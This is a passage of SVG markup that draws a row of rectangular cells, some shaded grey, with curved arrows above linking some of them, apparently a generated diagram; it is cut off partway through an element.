style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 45.355688 0.0006875 L 45.355688 28.348344 L 51.023656 28.348344 L 51.023656 0.0006875 Z M 45.355688 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 51.023656 0.0006875 L 51.023656 28.348344 L 56.691625 28.348344 L 56.691625 0.0006875 Z M 51.023656 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 56.691625 0.0006875 L 56.691625 28.348344 L 62.3635 28.348344 L 62.3635 0.0006875 Z M 56.691625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 62.3635 0.0006875 L 62.3635 28.348344 L 68.031469 28.348344 L 68.031469 0.0006875 Z M 62.3635 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 68.031469 0.0006875 L 68.031469 28.348344 L 73.699438 28.348344 L 73.699438 0.0006875 Z M 68.031469 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 73.699438 0.0006875 L 73.699438 28.348344 L 79.371313 28.348344 L 79.371313 0.0006875 Z M 73.699438 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 79.371313 0.0006875 L 79.371313 28.348344 L 85.039281 28.348344 L 85.039281 0.0006875 Z M 79.371313 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 85.039281 0.0006875 L 85.039281 28.348344 L 90.70725 28.348344 L 90.70725 0.0006875 Z M 85.039281 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 90.70725 0.0006875 L 90.70725 28.348344 L 96.379125 28.348344 L 96.379125 0.0006875 Z M 90.70725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 96.379125 0.0006875 L 96.379125 28.348344 L 102.047094 28.348344 L 102.047094 0.0006875 Z M 96.379125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 102.047094 0.0006875 L 102.047094 28.348344 L 107.715063 28.348344 L 107.715063 0.0006875 Z M 102.047094 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 107.715063 0.0006875 L 107.715063 28.348344 L 113.386938 28.348344 L 113.386938 0.0006875 Z M 107.715063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 113.386938 0.0006875 L 113.386938 28.348344 L 119.054906 28.348344 L 119.054906 0.0006875 Z M 113.386938 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 119.054906 0.0006875 L 119.054906 28.348344 L 124.722875 28.348344 L 124.722875 0.0006875 Z M 119.054906 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 124.722875 0.0006875 L 124.722875 28.348344 L 130.39475 28.348344 L 130.39475 0.0006875 Z M 124.722875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 130.39475 0.0006875 L 130.39475 28.348344 L 136.062719 28.348344 L 136.062719 0.0006875 Z M 130.39475 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 136.062719 0.0006875 L 136.062719 28.348344 L 141.730687 28.348344 L 141.730687 0.0006875 Z M 136.062719 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 141.730687 0.0006875 L 141.730687 28.348344 L 147.402562 28.348344 L 147.402562 0.0006875 Z M 141.730687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 147.402562 0.0006875 L 147.402562 28.348344 L 153.070531 28.348344 L 153.070531 0.0006875 Z M 147.402562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 153.070531 0.0006875 L 153.070531 28.348344 L 158.7385 28.348344 L 158.7385 0.0006875 Z M 153.070531 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 158.7385 0.0006875 L 158.7385 28.348344 L 164.410375 28.348344 L 164.410375 0.0006875 Z M 158.7385 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 164.410375 0.0006875 L 164.410375 28.348344 L 170.078344 28.348344 L 170.078344 0.0006875 Z M 164.410375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.078344 0.0006875 L 170.078344 28.348344 L 175.746312 28.348344 L 175.746312 0.0006875 Z M 170.078344 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 175.746312 0.0006875 L 175.746312 28.348344 L 181.418187 28.348344 L 181.418187 0.0006875 Z M 175.746312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 181.418187 0.0006875 L 181.418187 28.348344 L 187.086156 28.348344 L 187.086156 0.0006875 Z M 181.418187 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 187.086156 0.0006875 L 187.086156 28.348344 L 192.754125 28.348344 L 192.754125 0.0006875 Z M 187.086156 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 192.754125 0.0006875 L 192.754125 28.348344 L 198.426 28.348344 L 198.426 0.0006875 Z M 192.754125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 198.426 0.0006875 L 198.426 28.348344 L 204.093969 28.348344 L 204.093969 0.0006875 Z M 198.426 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 204.093969 0.0006875 L 204.093969 28.348344 L 209.761937 28.348344 L 209.761937 0.0006875 Z M 204.093969 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 209.761937 0.0006875 L 209.761937 28.348344 L 215.433812 28.348344 L 215.433812 0.0006875 Z M 209.761937 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 215.433812 0.0006875 L 215.433812 28.348344 L 221.101781 28.348344 L 221.101781 0.0006875 Z M 215.433812 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 221.101781 0.0006875 L 221.101781 28.348344 L 226.76975 28.348344 L 226.76975 0.0006875 Z M 221.101781 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 226.76975 0.0006875 L 226.76975 28.348344 L 232.441625 28.348344 L 232.441625 0.0006875 Z M 226.76975 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 232.441625 0.0006875 L 232.441625 28.348344 L 238.109594 28.348344 L 238.109594 0.0006875 Z M 232.441625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 238.109594 0.0006875 L 238.109594 28.348344 L 243.777562 28.348344 L 243.777562 0.0006875 Z M 238.109594 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 243.777562 0.0006875 L 243.777562 28.348344 L 249.449437 28.348344 L 249.449437 0.0006875 Z M 243.777562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 249.449437 0.0006875 L 249.449437 28.348344 L 255.117406 28.348344 L 255.117406 0.0006875 Z M 249.449437 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.117406 0.0006875 L 255.117406 28.348344 L 260.785375 28.348344 L 260.785375 0.0006875 Z M 255.117406 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 260.785375 0.0006875 L 260.785375 28.348344 L 266.45725 28.348344 L 266.45725 0.0006875 Z M 260.785375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 266.45725 0.0006875 L 266.45725 28.348344 L 272.125219 28.348344 L 272.125219 0.0006875 Z M 266.45725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 272.125219 0.0006875 L 272.125219 28.348344 L 277.793187 28.348344 L 277.793187 0.0006875 Z M 272.125219 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 277.793187 0.0006875 L 277.793187 28.348344 L 283.465062 28.348344 L 283.465062 0.0006875 Z M 277.793187 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 283.465062 0.0006875 L 283.465062 28.348344 L 289.133031 28.348344 L 289.133031 0.0006875 Z M 283.465062 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 289.133031 0.0006875 L 289.133031 28.348344 L 294.801 28.348344 L 294.801 0.0006875 Z M 289.133031 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 294.801 0.0006875 L 294.801 28.348344 L 300.472875 28.348344 L 300.472875 0.0006875 Z M 294.801 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 300.472875 0.0006875 L 300.472875 28.348344 L 306.140844 28.348344 L 306.140844 0.0006875 Z M 300.472875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 306.140844 0.0006875 L 306.140844 28.348344 L 311.808812 28.348344 L 311.808812 0.0006875 Z M 306.140844 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 311.808812 0.0006875 L 311.808812 28.348344 L 317.480687 28.348344 L 317.480687 0.0006875 Z M 311.808812 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 317.480687 0.0006875 L 317.480687 28.348344 L 323.148656 28.348344 L 323.148656 0.0006875 Z M 317.480687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 323.148656 0.0006875 L 323.148656 28.348344 L 328.816625 28.348344 L 328.816625 0.0006875 Z M 323.148656 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 328.816625 0.0006875 L 328.816625 28.348344 L 334.4885 28.348344 L 334.4885 0.0006875 Z M 328.816625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 334.4885 0.0006875 L 334.4885 28.348344 L 340.156469 28.348344 L 340.156469 0.0006875 Z M 334.4885 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 340.156469 0.0006875 L 340.156469 28.348344 L 345.824437 28.348344 L 345.824437 0.0006875 Z M 340.156469 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 345.824437 0.0006875 L 345.824437 28.348344 L 351.496312 28.348344 L 351.496312 0.0006875 Z M 345.824437 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 351.496312 0.0006875 L 351.496312 28.348344 L 357.164281 28.348344 L 357.164281 0.0006875 Z M 351.496312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 357.164281 0.0006875 L 357.164281 28.348344 L 362.83225 28.348344 L 362.83225 0.0006875 Z M 357.164281 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.00021875 28.348344 C 50.027563 78.371781 131.390844 78.371781 176.293187 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.146898 0.00206566 L 0.197298 1.786423 L 0.20006 -0.000696507 L 0.20006 -1.785053 Z M 7.146898 0.00206566 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,176.42153,45.02992)"/> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 181.418187 28.348344 C 206.429906 53.360062 247.1135 53.360062 267.000219 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.145923 0.00109072 L 0.199085 1.78821 L 0.199085 -1.786028 Z M 7.145923 0.00109072 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,267.12994,45.02992)"/> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 272.125219 28.348344 C 297.136937 53.360062 337.820531 53.360062 357.711156 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.144956 0.000122861 L 0.198117 1.787242 L 0.200879 0.000122861 L 0.198117 -1.786996 Z M 7.144956 0.000122861 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,357.83834,45.02992)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 90.70725 0.0006875 L 90.70725 28.348344 L 96.379125 28.348344 L 96.379125 0.0006875 Z M 90.70725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 96.379125 0.0006875 L 96.379125 28.348344 L 102.047094 28.348344 L 102.047094 0.0006875 Z M 96.379125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 102.047094 0.0006875 L 102.047094 28.348344 L 107.715063 28.348344 L 107.715063 0.0006875 Z M 102.047094 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 107.715063 0.0006875 L 107.715063 28.348344 L 113.386938 28.348344 L 113.386938 0.0006875 Z M 107.715063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 113.386938 0.0006875 L 113.386938 28.348344 L 119.054906 28.348344 L 119.054906 0.0006875 Z M 113.386938 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 119.054906 0.0006875 L 119.054906 28.348344 L 124.722875 28.348344 L 124.722875 0.0006875 Z M 119.054906 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 124.722875 0.0006875 L 124.722875 28.348344 L 130.39475 28.348344 L 130.39475 0.0006875 Z M 124.722875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 130.39475 0.0006875 L 130.39475 28.348344 L 136.062719 28.348344 L 136.062719 0.0006875 Z M 130.39475 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 136.062719 0.0006875 L 136.062719 28.348344 L 141.730687 28.348344 L 141.730687 0.0006875 Z M 136.062719 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 141.730687 0.0006875 L 141.730687 28.348344 L 147.402562 28.348344 L 147.402562 0.0006875 Z M 141.730687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path 